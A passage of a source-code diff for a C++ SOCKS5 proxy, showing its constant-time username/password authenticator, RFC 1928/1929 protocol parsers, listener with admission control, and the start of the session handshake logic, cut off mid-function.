decoy_ = make_credential("\x00-nonexistent-\x00", "\x00-nonexistent-\x00");
if (required_ && users_.empty()) {
LOG_WARN(kMod, "authentication is required but no credentials are loaded: "
"every client will be rejected");
}
}
bool Authenticator::empty() const {
std::lock_guard<std::mutex> lk(mu_);
return users_.empty();
}
bool Authenticator::check(const std::string &user,
const std::string &password) const {
std::lock_guard<std::mutex> lk(mu_);
const Credential *found = nullptr;
for (const auto &c : users_) {
// Username comparison is not constant-time and does not need to be: the
// name is not a secret, and the timing of a string compare over a
// handful of entries is far below the noise of a network round trip. The
// hash below is what must not vary.
if (c.username == user) {
found = &c;
break;
}
}
// Always exactly one verification, hit or miss.
const bool ok = verify_credential(found != nullptr ? *found : decoy_, password);
const bool result = ok && found != nullptr;
if (result) {
++ok_;
} else {
++bad_;
}
return result;
}
size_t Authenticator::replace(std::vector<Credential> users) {
std::lock_guard<std::mutex> lk(mu_);
users_ = std::move(users);
LOG_INFO(kMod, "credential set replaced: {} user(s)", users_.size());
return users_.size();
}
uint64_t Authenticator::successes() const {
std::lock_guard<std::mutex> lk(mu_);
return ok_;
}
uint64_t Authenticator::failures() const {
std::lock_guard<std::mutex> lk(mu_);
return bad_;
}
} // namespace ovg::socks5
+53
View File
@@ -0,0 +1,53 @@
// Username/password authentication for the SOCKS5 listener.
//
// The whole module exists to make one property hold: **an attacker learns
// nothing from how long a rejection takes.** A naive implementation leaks the
// existence of a username -- a lookup that misses returns in nanoseconds while a
// hit spends a millisecond hashing. So every attempt hashes exactly once,
// against a real credential if the name matched and against a fixed decoy if it
// did not, and the comparison itself is constant-time (verify_credential uses
// CRYPTO_memcmp).
//
// Credentials are held by value. The set is small (tens of users, not millions)
// and reload is a whole-object swap under a mutex, so there is no partially
// applied credential list and no reference into a table being rewritten.
#pragma once
#include <cstdint>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
namespace ovg::socks5 {
class Authenticator {
public:
// `required == false` means the NO_AUTH method is offered. Credentials are
// still checked if a client chooses USERPASS anyway -- being lenient about
// requiring auth is a deployment choice, being lenient about a *presented*
// wrong password never is.
Authenticator(std::vector<Credential> users, bool required);
bool required() const { return required_; }
bool empty() const;
// Constant-time in the sense described above.
bool check(const std::string &user, const std::string &password) const;
// Hot-reload. Returns the new count.
size_t replace(std::vector<Credential> users);
uint64_t successes() const;
uint64_t failures() const;
private:
mutable std::mutex mu_;
std::vector<Credential> users_;
Credential decoy_; // hashed against when the username does not exist
bool required_;
mutable uint64_t ok_ = 0, bad_ = 0;
};
} // namespace ovg::socks5
+252
View File
@@ -0,0 +1,252 @@
#include "socks5/protocol.h"
#include <cstring>
#include "common/error.h"
namespace ovg::socks5 {
namespace {
// Reads a big-endian port. Callers have already bounds-checked.
uint16_t read_port(const uint8_t *p) {
return static_cast<uint16_t>((static_cast<uint16_t>(p[0]) << 8) | p[1]);
}
void write_port(std::vector<uint8_t> *out, uint16_t port) {
out->push_back(static_cast<uint8_t>(port >> 8));
out->push_back(static_cast<uint8_t>(port & 0xFF));
}
// Decodes ATYP + ADDR + PORT starting at data[0].
//
// Shared by the request decoder and the UDP header decoder because they carry
// the identical field -- RFC 1928 defines it once and reuses it, and so do we.
// A second copy of this is a second place for a length check to be wrong.
Decode decode_address(const uint8_t *data, size_t len, Endpoint *out) {
if (len < 1) return {Status::NeedMore, 0};
const auto atyp = static_cast<AddrType>(data[0]);
switch (atyp) {
case AddrType::Ipv4: {
constexpr size_t need = 1 + 4 + 2;
if (len < need) return {Status::NeedMore, 0};
*out = Endpoint(IpAddress::from_bytes_v4(data + 1), read_port(data + 5));
return {Status::Ok, need};
}
case AddrType::Ipv6: {
constexpr size_t need = 1 + 16 + 2;
if (len < need) return {Status::NeedMore, 0};
*out = Endpoint(IpAddress::from_bytes_v6(data + 1), read_port(data + 17));
return {Status::Ok, need};
}
case AddrType::Domain: {
if (len < 2) return {Status::NeedMore, 0};
const size_t nlen = data[1];
// A zero-length name can never become a valid destination, so this is Bad
// rather than NeedMore -- otherwise the session would sit waiting for
// bytes that would not help.
if (nlen == 0) return {Status::Bad, 0};
const size_t need = 2 + nlen + 2;
if (len < need) return {Status::NeedMore, 0};
std::string name(reinterpret_cast<const char *>(data + 2), nlen);
// Some clients send a literal in an ATYP=3 field. Normalising here means
// the egress never re-resolves an address it was already given, and the
// tunnel's DNS budget is spent on names that actually need it.
if (auto ip = IpAddress::parse(name)) {
*out = Endpoint(*ip, read_port(data + 2 + nlen));
} else {
*out = Endpoint(std::move(name), read_port(data + 2 + nlen));
}
return {Status::Ok, need};
}
}
return {Status::Bad, 0};
}
} // namespace
const char *command_name(Command c) {
switch (c) {
case Command::Connect: return "CONNECT";
case Command::Bind: return "BIND";
case Command::UdpAssociate: return "UDP_ASSOCIATE";
}
return "?";
}
const char *reply_name(Reply r) {
switch (r) {
case Reply::Succeeded: return "succeeded";
case Reply::GeneralFailure: return "general_failure";
case Reply::NotAllowed: return "not_allowed";
case Reply::NetworkUnreachable: return "network_unreachable";
case Reply::HostUnreachable: return "host_unreachable";
case Reply::ConnectionRefused: return "connection_refused";
case Reply::TtlExpired: return "ttl_expired";
case Reply::CommandNotSupported: return "command_not_supported";
case Reply::AddressTypeNotSupported: return "addr_type_not_supported";
}
return "?";
}
const char *method_name(Method m) {
switch (m) {
case Method::NoAuth: return "none";
case Method::Gssapi: return "gssapi";
case Method::UserPass: return "userpass";
case Method::None: return "unacceptable";
}
return "?";
}
Reply reply_for(const std::error_code &ec) {
return static_cast<Reply>(socks5_reply_for(ec));
}
bool Greeting::offers(Method m) const {
for (Method have : methods) {
if (have == m) return true;
}
return false;
}
Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out) {
if (len < 2) return {Status::NeedMore, 0};
if (data[0] != kVersion) return {Status::Bad, 0};
const size_t n = data[1];
// NMETHODS == 0 is malformed: the client is required to offer at least one.
if (n == 0) return {Status::Bad, 0};
const size_t need = 2 + n;
if (len < need) return {Status::NeedMore, 0};
out->methods.clear();
out->methods.reserve(n);
for (size_t i = 0; i < n; ++i) {
out->methods.push_back(static_cast<Method>(data[2 + i]));
}
return {Status::Ok, need};
}
std::vector<uint8_t> encode_method_selection(Method m) {
return {kVersion, static_cast<uint8_t>(m)};
}
Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out) {
if (len < 2) return {Status::NeedMore, 0};
if (data[0] != kAuthVersion) return {Status::Bad, 0};
const size_t ulen = data[1];
// An empty username is permitted by the grammar (ULEN is 0..255) but can
// never match a configured credential; letting it through keeps the parser
// honest and lets the authenticator do the rejecting, in constant time.
if (len < 2 + ulen + 1) return {Status::NeedMore, 0};
const size_t plen = data[2 + ulen];
const size_t need = 2 + ulen + 1 + plen;
if (len < need) return {Status::NeedMore, 0};
out->username.assign(reinterpret_cast<const char *>(data + 2), ulen);
out->password.assign(reinterpret_cast<const char *>(data + 3 + ulen), plen);
return {Status::Ok, need};
}
std::vector<uint8_t> encode_userpass_reply(bool ok) {
return {kAuthVersion, static_cast<uint8_t>(ok ? 0x00 : 0x01)};
}
Decode decode_request(const uint8_t *data, size_t len, Request *out) {
if (len < 3) return {Status::NeedMore, 0};
if (data[0] != kVersion) return {Status::Bad, 0};
// RSV must be 0x00. Being strict here costs nothing -- no real client sets
// it -- and a non-zero byte is a good early signal that we are not actually
// talking to a SOCKS5 client.
if (data[2] != 0x00) return {Status::Bad, 0};
const auto cmd = static_cast<Command>(data[1]);
switch (cmd) {
case Command::Connect:
case Command::Bind:
case Command::UdpAssociate:
break;
default:
// Deliberately not Bad: an unknown command still has a well-formed
// address after it, and the session wants to parse that so it can send a
// proper CommandNotSupported reply instead of a bare TCP reset.
break;
}
Endpoint target;
const Decode d = decode_address(data + 3, len - 3, &target);
if (d.status != Status::Ok) return {d.status, 0};
out->command = cmd;
out->target = std::move(target);
return {Status::Ok, 3 + d.used};
}
void append_address(std::vector<uint8_t> *out, const Endpoint &ep) {
// A default-constructed Endpoint is a *domain* of zero length, which is the
// one thing decode_address refuses outright. Failure replies are built from
// exactly that, so it has to fall through to the 0.0.0.0 encoding below
// rather than emitting a field no client can parse.
if (ep.is_domain() && !ep.domain().empty()) {
const std::string &name = ep.domain();
// Cannot happen for anything we decoded (ULEN is a byte), but this function
// is also called with endpoints built elsewhere.
const size_t n = name.size() > 255 ? 255 : name.size();
out->push_back(static_cast<uint8_t>(AddrType::Domain));
out->push_back(static_cast<uint8_t>(n));
out->insert(out->end(), name.begin(), name.begin() + static_cast<long>(n));
write_port(out, ep.port());
return;
}
const IpAddress &ip = ep.address();
if (ip.is_v6()) {
out->push_back(static_cast<uint8_t>(AddrType::Ipv6));
out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 16);
} else {
// Covers both a real v4 address and a default-constructed (invalid) one,
// which encodes as 0.0.0.0 -- what every client expects in a failure reply.
out->push_back(static_cast<uint8_t>(AddrType::Ipv4));
out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 4);
}
write_port(out, ep.port());
}
std::vector<uint8_t> encode_reply(Reply rep, const Endpoint &bound) {
std::vector<uint8_t> out;
out.reserve(10);
out.push_back(kVersion);
out.push_back(static_cast<uint8_t>(rep));
out.push_back(0x00); // RSV
append_address(&out, bound);
return out;
}
bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out) {
if (len < 4) return false;
if (data[0] != 0x00 || data[1] != 0x00) return false;
Endpoint target;
const Decode d = decode_address(data + 3, len - 3, &target);
// NeedMore is as fatal as Bad for a datagram: there is no "more".
if (d.status != Status::Ok) return false;
out->frag = data[2];
out->target = std::move(target);
out->header_len = 3 + d.used;
return true;
}
std::vector<uint8_t> encode_udp_datagram(const Endpoint &from,
const uint8_t *payload, size_t len) {
std::vector<uint8_t> out;
out.reserve(10 + len);
out.push_back(0x00);
out.push_back(0x00);
out.push_back(0x00); // FRAG
append_address(&out, from);
if (len > 0) out.insert(out.end(), payload, payload + len);
return out;
}
} // namespace ovg::socks5
+152
View File
@@ -0,0 +1,152 @@
// RFC 1928 (SOCKS5) and RFC 1929 (username/password auth), as pure functions.
//
// Nothing here does I/O, allocates a session, or knows what an egress is. Every
// function takes bytes and returns either a decoded message or "need more" /
// "malformed". That separation is what makes the protocol layer exhaustively
// testable: the fuzz-shaped cases -- a truncated domain length, a zero-length
// name, an ATYP nobody has heard of -- are unit tests here rather than
// something you hope the relay handles.
//
// ---------------------------------------------------------------------------
// The incremental-parse contract
// ---------------------------------------------------------------------------
// Every decoder returns a Decode:
//
// Status::Ok consumed `used` bytes, `out` is filled
// Status::NeedMore the buffer is a valid prefix; call again with more
// Status::Bad it cannot become valid no matter what follows; close
//
// NeedMore never says *how much* more. A caller that reads one byte at a time
// still makes progress, and the parser never has to be trusted with a length it
// derived from attacker-controlled input.
#pragma once
#include <cstddef>
#include <cstdint>
#include <string>
#include <system_error>
#include <vector>
#include "common/endpoint.h"
namespace ovg::socks5 {
constexpr uint8_t kVersion = 0x05;
constexpr uint8_t kAuthVersion = 0x01; // RFC 1929 subnegotiation version
enum class Method : uint8_t {
NoAuth = 0x00,
Gssapi = 0x01,
UserPass = 0x02,
None = 0xFF, // "no acceptable methods"
};
enum class Command : uint8_t {
Connect = 0x01,
Bind = 0x02,
UdpAssociate = 0x03,
};
// RFC 1928 §6 REP values.
enum class Reply : uint8_t {
Succeeded = 0x00,
GeneralFailure = 0x01,
NotAllowed = 0x02,
NetworkUnreachable = 0x03,
HostUnreachable = 0x04,
ConnectionRefused = 0x05,
TtlExpired = 0x06,
CommandNotSupported = 0x07,
AddressTypeNotSupported = 0x08,
};
enum class AddrType : uint8_t {
Ipv4 = 0x01,
Domain = 0x03,
Ipv6 = 0x04,
};
const char *command_name(Command c);
const char *reply_name(Reply r);
const char *method_name(Method m);
// Maps our internal error onto a REP value. Thin wrapper over
// ovg::socks5_reply_for so callers here do not need common/error.h.
Reply reply_for(const std::error_code &ec);
enum class Status { Ok, NeedMore, Bad };
struct Decode {
Status status = Status::NeedMore;
size_t used = 0; // bytes consumed; only meaningful when status == Ok
};
// ---------------------------------------------------------------------------
// Client greeting: VER NMETHODS METHODS...
// ---------------------------------------------------------------------------
struct Greeting {
std::vector<Method> methods;
bool offers(Method m) const;
};
Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out);
// Server method selection: VER METHOD
std::vector<uint8_t> encode_method_selection(Method m);
// ---------------------------------------------------------------------------
// RFC 1929: VER ULEN UNAME PLEN PASSWD
// ---------------------------------------------------------------------------
struct UserPass {
std::string username;
std::string password;
};
Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out);
// VER STATUS; STATUS 0 means success and anything else means the client must
// close (RFC 1929 §2).
std::vector<uint8_t> encode_userpass_reply(bool ok);
// ---------------------------------------------------------------------------
// Request / reply: VER CMD RSV ATYP DST.ADDR DST.PORT
// ---------------------------------------------------------------------------
struct Request {
Command command = Command::Connect;
Endpoint target;
};
Decode decode_request(const uint8_t *data, size_t len, Request *out);
// A reply carrying BND.ADDR/BND.PORT. For a failure the address is ignored by
// every client in practice, but RFC 1928 still requires a well-formed one, so
// an empty endpoint is encoded as 0.0.0.0:0 rather than omitted.
std::vector<uint8_t> encode_reply(Reply rep, const Endpoint &bound);
// ---------------------------------------------------------------------------
// UDP request header (RFC 1928 §7): RSV RSV FRAG ATYP DST.ADDR DST.PORT DATA
// ---------------------------------------------------------------------------
struct UdpHeader {
uint8_t frag = 0;
Endpoint target;
size_t header_len = 0; // where the payload starts
};
// Unlike the stream decoders this one is all-or-nothing: a datagram is a
// complete message or it is garbage, so there is no NeedMore.
bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out);
// Prepends the header to `payload`, for a datagram going back to the client.
// FRAG is always 0: we neither send nor accept fragments (docs/FEASIBILITY.md
// §5.1).
std::vector<uint8_t> encode_udp_datagram(const Endpoint &from,
const uint8_t *payload, size_t len);
// Exposed for tests and for encode_reply/encode_udp_datagram: appends
// ATYP + address + port.
void append_address(std::vector<uint8_t> *out, const Endpoint &ep);
// Longest possible address field: ATYP + 255-byte domain + length + port.
constexpr size_t kMaxAddressBytes = 1 + 1 + 255 + 2;
// A SOCKS5 request can never exceed this, which is what bounds the handshake
// buffer: an attacker cannot make us hold more by claiming a longer name.
constexpr size_t kMaxRequestBytes = 3 + kMaxAddressBytes;
} // namespace ovg::socks5
+235
View File
@@ -0,0 +1,235 @@
#include "socks5/server.h"
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::socks5 {
namespace {
constexpr const char *kMod = "socks5";
metrics::Counter *m_accepted() {
static auto *c = metrics::counter("ovg_socks5_sessions_total",
"Accepted SOCKS5 connections");
return c;
}
metrics::Counter *m_rejected() {
static auto *c =
metrics::counter("ovg_socks5_rejected_total",
"Connections refused by max_sessions admission control");
return c;
}
metrics::Counter *m_no_egress() {
static auto *c = metrics::counter("ovg_socks5_no_egress_total",
"Connections refused: no usable tunnel");
return c;
}
metrics::Gauge *g_active() {
static auto *g =
metrics::gauge("ovg_socks5_sessions_active", "Live SOCKS5 sessions");
return g;
}
} // namespace
Server::Server(asio::io_context &io, const Config &cfg, EgressProvider acquire)
: io_(io),
cfg_(cfg.socks5),
acquire_(std::move(acquire)),
accept_strand_(asio::make_strand(io)),
acceptor_(accept_strand_),
auth_(cfg.socks5.users, cfg.socks5.require_auth) {
auto opts = std::make_shared<SessionOptions>();
opts->socks5 = cfg.socks5;
opts->retry_zero_progress = cfg.switching.retry_zero_progress;
opts->rehome_udp = cfg.switching.rehome_udp;
opts_ = std::move(opts);
}
Server::~Server() { stop(); }
bool Server::start(std::string *err) {
std::error_code ec;
const auto addr = asio::ip::make_address(cfg_.listen_address, ec);
if (ec) {
*err = "socks5.listen_address is not an IP address: " + cfg_.listen_address;
return false;
}
const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port);
acceptor_.open(ep.protocol(), ec);
if (ec) {
*err = "cannot open listening socket: " + ec.message();
return false;
}
acceptor_.set_option(asio::socket_base::reuse_address(true), ec);
acceptor_.bind(ep, ec);
if (ec) {
*err = "cannot bind " + ep.address().to_string() + ":" +
std::to_string(ep.port()) + ": " + ec.message();
return false;
}
// A deep backlog matters here: 1000 clients reconnecting after a switch
// arrive in a burst, and the default of 5 would turn that into connection
// refused.
acceptor_.listen(asio::socket_base::max_listen_connections, ec);
if (ec) {
*err = "cannot listen: " + ec.message();
return false;
}
port_ = acceptor_.local_endpoint(ec).port();
LOG_INFO(kMod, "listening on {}:{} (auth {}, max_sessions {}, udp {})",
ep.address().to_string(), port_,
cfg_.require_auth ? "required" : "optional", cfg_.max_sessions,
cfg_.udp_associate_enabled ? "enabled" : "disabled");
do_accept();
return true;
}
void Server::do_accept() {
if (stopping_.load(std::memory_order_acquire)) return;
// Accepting straight onto a fresh strand gives the session a socket whose
// executor already is its strand -- see socks5/session.h.
acceptor_.async_accept(
asio::make_strand(io_),
[this](const std::error_code &ec, ClientSocket sock) {
if (ec) {
if (ec == asio::error::operation_aborted) return;
LOG_WARN(kMod, "accept failed: {}", ec.message());
// An accept error is usually per-connection (EMFILE, ECONNABORTED).
// Give up the listener only if it was closed under us.
if (acceptor_.is_open()) do_accept();
return;
}
if (stopping_.load(std::memory_order_acquire)) {
std::error_code ignored;
sock.close(ignored);
return;
}
// Admission control, before anything else allocates.
if (active_.load(std::memory_order_relaxed) >=
static_cast<int64_t>(cfg_.max_sessions)) {
rejected_.fetch_add(1, std::memory_order_relaxed);
m_rejected()->inc();
LOG_WARN(kMod, "refusing connection: {} sessions already live",
cfg_.max_sessions);
std::error_code ignored;
sock.close(ignored);
do_accept();
return;
}
egress::EgressPtr eg = acquire_ ? acquire_() : nullptr;
if (!eg) {
// Closing without a SOCKS5 reply is deliberate: we have not read the
// greeting yet, so there is no negotiated framing to reply in.
no_egress_.fetch_add(1, std::memory_order_relaxed);
m_no_egress()->inc();
LOG_WARN(kMod, "refusing connection: no usable egress");
std::error_code ignored;
sock.close(ignored);
do_accept();
return;
}
uint64_t id;
SessionPtr s;
{
std::lock_guard<std::mutex> lk(mu_);
id = next_id_++;
s = Session::create(id, std::move(sock), opts_, &auth_, std::move(eg),
[this](uint64_t sid) { reap(sid); });
sessions_.emplace(id, s);
}
active_.fetch_add(1, std::memory_order_relaxed);
g_active()->add(1);
accepted_.fetch_add(1, std::memory_order_relaxed);
m_accepted()->inc();
s->start();
do_accept();
});
}
void Server::reap(uint64_t id) {
{
std::lock_guard<std::mutex> lk(mu_);
if (sessions_.erase(id) == 0) return; // already reaped
}
active_.fetch_sub(1, std::memory_order_relaxed);
g_active()->sub(1);
}
void Server::stop() {
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
asio::post(accept_strand_, [this] {
std::error_code ignored;
acceptor_.close(ignored);
});
for (const auto &s : snapshot()) s->force_close("server shutting down");
LOG_INFO(kMod, "listener stopped");
}
std::vector<SessionPtr> Server::snapshot() const {
std::vector<SessionPtr> out;
std::lock_guard<std::mutex> lk(mu_);
out.reserve(sessions_.size());
for (const auto &kv : sessions_) {
if (auto s = kv.second.lock()) out.push_back(std::move(s));
}
return out;
}
void Server::on_promote(const egress::EgressPtr &old_e,
const egress::EgressPtr &new_e) {
if (!old_e || !new_e) return;
// Offer, do not command: each session decides on its own strand whether it is
// actually re-homeable. Everything that declines stays on the old egress and
// drains normally.
const auto live = snapshot();
for (const auto &s : live) s->try_rehome(old_e, new_e);
LOG_INFO(kMod, "offered {} live session(s) a move from {} to {}", live.size(),
old_e->label(), new_e->label());
}
void Server::on_drain_expired(const egress::EgressPtr &e) {
if (!e) return;
size_t n = 0;
for (const auto &s : snapshot()) {
s->close_if_on(e, "drain grace expired");
++n;
}
LOG_WARN(kMod, "drain window for {} expired; closing whatever is left of {} "
"session(s)",
e->label(), n);
}
Server::Stats Server::stats() const {
Stats s;
s.accepted = accepted_.load(std::memory_order_relaxed);
s.rejected = rejected_.load(std::memory_order_relaxed);
s.no_egress = no_egress_.load(std::memory_order_relaxed);
s.active = active_.load(std::memory_order_relaxed);
s.auth_ok = auth_.successes();
s.auth_failed = auth_.failures();
return s;
}
std::vector<Session::Info> Server::sessions(size_t limit) const {
std::vector<Session::Info> out;
for (const auto &s : snapshot()) {
if (out.size() >= limit) break;
out.push_back(s->info());
}
return out;
}
} // namespace ovg::socks5
+108
View File
@@ -0,0 +1,108 @@
// The SOCKS5 listener: accept, admit, and own the live sessions.
//
// ---------------------------------------------------------------------------
// Admission control is the only thing standing between us and the OOM killer
// ---------------------------------------------------------------------------
// lwIP allocates its PCBs and pbufs from a heap we do not control and cannot
// gracefully fail (docs/FEASIBILITY.md §4.2). Once a connection is accepted,
// every layer below assumes it can allocate. So the count is enforced *at
// accept*, before a Session exists and before a single byte is read: over the
// limit, the socket is closed immediately and counted. A rejection is cheap; a
// half-built session that dies inside the netstack is not.
//
// ---------------------------------------------------------------------------
// Why there is a session registry at all
// ---------------------------------------------------------------------------
// Draining does not need one -- the egress reference count is the drain
// (egress/egress.h). But three things do:
//
// * re-homing at promotion, which has to reach each session to offer it
// * force-closing the stragglers when a drain window expires
// * telling an operator what is actually running, on /status
//
// It holds weak_ptrs and each session removes itself on close, so the registry
// never keeps a session alive and never grows unbounded.
//
// Threading: the acceptor runs on its own strand; each session runs on its own.
// The registry has a mutex, taken only on accept, on close, and on the two
// switch hooks -- never on the data path.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <cstdint>
#include <functional>
#include <memory>
#include <mutex>
#include <string>
#include <unordered_map>
#include <vector>
#include "common/config.h"
#include "common/strand_deleter.h"
#include "egress/egress.h"
#include "socks5/auth.h"
#include "socks5/session.h"
namespace ovg::socks5 {
class Server {
public:
// Returns the egress a new session should be pinned to, or nullptr if there
// is none right now. A function rather than an EgressManager* so the server
// can be tested against a DirectEgress with no manager, node list, or tunnel.
using EgressProvider = std::function<egress::EgressPtr()>;
Server(asio::io_context &io, const Config &cfg, EgressProvider acquire);
~Server();
bool start(std::string *err);
void stop();
// Hooks for EgressManager. Both are safe to call from the manager's strand.
void on_promote(const egress::EgressPtr &old_e,
const egress::EgressPtr &new_e);
void on_drain_expired(const egress::EgressPtr &e);
struct Stats {
uint64_t accepted = 0;
uint64_t rejected = 0;
uint64_t no_egress = 0;
int64_t active = 0;
uint64_t auth_ok = 0;
uint64_t auth_failed = 0;
};
Stats stats() const;
// Bounded so an operator cannot ask for a 1000-entry JSON blob by accident.
std::vector<Session::Info> sessions(size_t limit) const;
Authenticator &auth() { return auth_; }
// Actual bound port; differs from the configured one when it was 0.
uint16_t port() const { return port_; }
private:
void do_accept();
void reap(uint64_t id);
std::vector<SessionPtr> snapshot() const;
asio::io_context &io_;
Socks5Config cfg_;
EgressProvider acquire_;
Strand accept_strand_;
asio::ip::tcp::acceptor acceptor_;
Authenticator auth_;
SessionOptionsPtr opts_;
uint16_t port_ = 0;
std::atomic<bool> stopping_{false};
mutable std::mutex mu_;
std::unordered_map<uint64_t, std::weak_ptr<Session>> sessions_;
uint64_t next_id_ = 1;
std::atomic<uint64_t> accepted_{0}, rejected_{0}, no_egress_{0};
std::atomic<int64_t> active_{0};
};
} // namespace ovg::socks5
+841
View File
@@ -0,0 +1,841 @@
#include "socks5/session.h"
#include <cstring>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::socks5 {
namespace {
constexpr const char *kMod = "socks5";
metrics::Counter *m_handshake_failed() {
static auto *c = metrics::counter("ovg_socks5_handshake_failed_total",
"Sessions that never reached a request");
return c;
}
metrics::Counter *m_auth_failed() {
static auto *c = metrics::counter("ovg_socks5_auth_failed_total",
"Rejected username/password attempts");
return c;
}
metrics::Counter *m_connect_failed() {
static auto *c = metrics::counter("ovg_socks5_connect_failed_total",
"CONNECT requests the egress could not fulfil");
return c;
}
metrics::Counter *m_timeout_handshake() {
static auto *c = metrics::counter("ovg_socks5_handshake_timeout_total",
"Sessions closed by the handshake timer");
return c;
}
metrics::Counter *m_timeout_connect() {
static auto *c = metrics::counter("ovg_socks5_connect_timeout_total",
"Sessions closed by the connect timer");
return c;
}
metrics::Counter *m_timeout_idle() {
static auto *c = metrics::counter("ovg_socks5_idle_timeout_total",
"Sessions closed by the idle timer");
return c;
}
metrics::Counter *m_bytes_up() {
static auto *c = metrics::counter("ovg_socks5_bytes_up_total",
"TCP relay bytes client -> egress");
return c;
}
metrics::Counter *m_bytes_down() {
static auto *c = metrics::counter("ovg_socks5_bytes_down_total",
"TCP relay bytes egress -> client");
return c;
}
metrics::Counter *m_rehomed() {
static auto *c = metrics::counter(
"ovg_socks5_rehomed_total",
"Zero-progress sessions transparently re-dialled on a new egress");
return c;
}
metrics::Counter *m_rehome_failed() {
static auto *c = metrics::counter("ovg_socks5_rehome_failed_total",
"Re-dial attempts that lost the session");
return c;
}
metrics::Counter *m_udp_assoc() {
static auto *c = metrics::counter("ovg_socks5_udp_associations_total",
"UDP ASSOCIATE requests granted");
return c;
}
metrics::Gauge *g_udp_active() {
static auto *g = metrics::gauge("ovg_socks5_udp_active",
"Live UDP associations");
return g;
}
// Enough for the largest possible greeting (2 + 255) or request.
constexpr size_t kHandshakeBufBytes = 512;
} // namespace
const char *session_state_name(SessionState s) {
switch (s) {
case SessionState::Handshake: return "handshake";
case SessionState::Auth: return "auth";
case SessionState::Request: return "request";
case SessionState::Connecting: return "connecting";
case SessionState::Established: return "established";
case SessionState::Udp: return "udp";
case SessionState::Closed: return "closed";
}
return "?";
}
std::shared_ptr<Session> Session::create(uint64_t id, ClientSocket sock,
SessionOptionsPtr opts,
const Authenticator *auth,
egress::EgressPtr egress,
CloseHandler on_closed) {
return std::shared_ptr<Session>(new Session(id, std::move(sock),
std::move(opts), auth,
std::move(egress),
std::move(on_closed)));
}
Session::Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts,
const Authenticator *auth, egress::EgressPtr egress,
CloseHandler on_closed)
: id_(id),
client_(std::move(sock)),
strand_(client_.get_executor()),
timer_(strand_),
opts_(std::move(opts)),
auth_(auth),
on_closed_(std::move(on_closed)),
egress_(std::move(egress)),
created_(Clock::now()) {
const size_t bufsz = opts_->socks5.relay_buffer_size;
up_buf_.resize(bufsz < kHandshakeBufBytes ? kHandshakeBufBytes : bufsz);
down_buf_.resize(bufsz);
std::error_code ec;
const auto peer = client_.remote_endpoint(ec);
client_str_ = ec ? "?" : peer.address().to_string() + ":" +
std::to_string(peer.port());
egress_label_ = egress_ ? egress_->label() : "-";
}
Session::~Session() {
// Nothing to do: every owned resource closes itself. The handler is fired
// from finish() rather than here so that the server's registry drops us
// promptly instead of at some arbitrary later reference release.
}
void Session::start() {
auto self = shared_from_this();
asio::post(strand_, [self] {
// TCP_NODELAY on the client side: a proxy that batches a 30-byte HTTP
// request behind Nagle adds 40ms to every request for no benefit.
std::error_code ignored;
self->client_.set_option(asio::ip::tcp::no_delay(true), ignored);
self->set_phase(Phase::Handshake);
self->arm_timer();
self->step_greeting();
});
}
// ---------------------------------------------------------------------------
// Handshake
// ---------------------------------------------------------------------------
// Reads one more chunk into the handshake buffer and calls `retry`, which
// re-runs whichever decoder asked for more. The decoders are restartable from
// the front of the buffer, so a partial read costs nothing but a re-parse of a
// few bytes.
void Session::read_more(std::function<void()> retry) {
if (closed_) return;
if (hs_len_ >= kHandshakeBufBytes) {
// Cannot happen with a well-formed peer: every handshake message is
// bounded. Something is feeding us garbage.
finish("handshake buffer overflow");
return;
}
auto self = shared_from_this();
client_.async_read_some(
asio::buffer(up_buf_.data() + hs_len_, kHandshakeBufBytes - hs_len_),
[self, retry = std::move(retry)](const std::error_code &ec, size_t n) {
if (self->closed_) return;
if (ec) {
m_handshake_failed()->inc();
self->finish(ec == asio::error::eof ? "client closed during handshake"
: "handshake read failed");
return;
}
self->hs_len_ += n;
retry();
});
}
void Session::step_greeting() {
Greeting g;
const Decode d = decode_greeting(up_buf_.data(), hs_len_, &g);
if (d.status == Status::Bad) {
m_handshake_failed()->inc();
finish("malformed greeting");
return;
}
if (d.status == Status::NeedMore) {
auto self = shared_from_this();
read_more([self] { self->step_greeting(); });
return;
}
// Consume the greeting; anything after it is the next message.
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
hs_len_ -= d.used;
const bool require = auth_ != nullptr && auth_->required();
Method chosen = Method::None;
if (g.offers(Method::UserPass) && auth_ != nullptr) {
// Preferred whenever the client offers it, even when auth is optional:
// a presented password is always verified.
chosen = Method::UserPass;
} else if (!require && g.offers(Method::NoAuth)) {
chosen = Method::NoAuth;
}
const auto reply = encode_method_selection(chosen);
auto self = shared_from_this();
auto buf = std::make_shared<std::vector<uint8_t>>(reply);
asio::async_write(
client_, asio::buffer(*buf),
[self, buf, chosen](const std::error_code &ec, size_t) {
if (self->closed_) return;
if (ec) {
self->finish("method selection write failed");
return;
}
if (chosen == Method::None) {
m_handshake_failed()->inc();
LOG_DEBUG(kMod, "[{}] no acceptable auth method", self->id_);
self->finish("no acceptable auth method");
return;
}
if (chosen == Method::UserPass) {
self->set_state(SessionState::Auth);
self->step_userpass();
} else {
self->authed_ = true;
self->set_state(SessionState::Request);
self->step_request();
}
});
}
void Session::step_userpass() {
UserPass up;
const Decode d = decode_userpass(up_buf_.data(), hs_len_, &up);
if (d.status == Status::Bad) {
m_handshake_failed()->inc();
finish("malformed auth request");
return;
}
if (d.status == Status::NeedMore) {
auto self = shared_from_this();
read_more([self] { self->step_userpass(); });
return;
}
std::memmove(up_buf_.data(), up_buf_.data() + d.used, hs_len_ - d.used);
hs_len_ -= d.used;
const bool ok = auth_ != nullptr && auth_->check(up.username, up.password);
if (!ok) {
m_auth_failed()->inc();
LOG_INFO(kMod, "[{}] auth rejected for user '{}' from {}", id_, up.username,
client_str_);
}
auto self = shared_from_this();
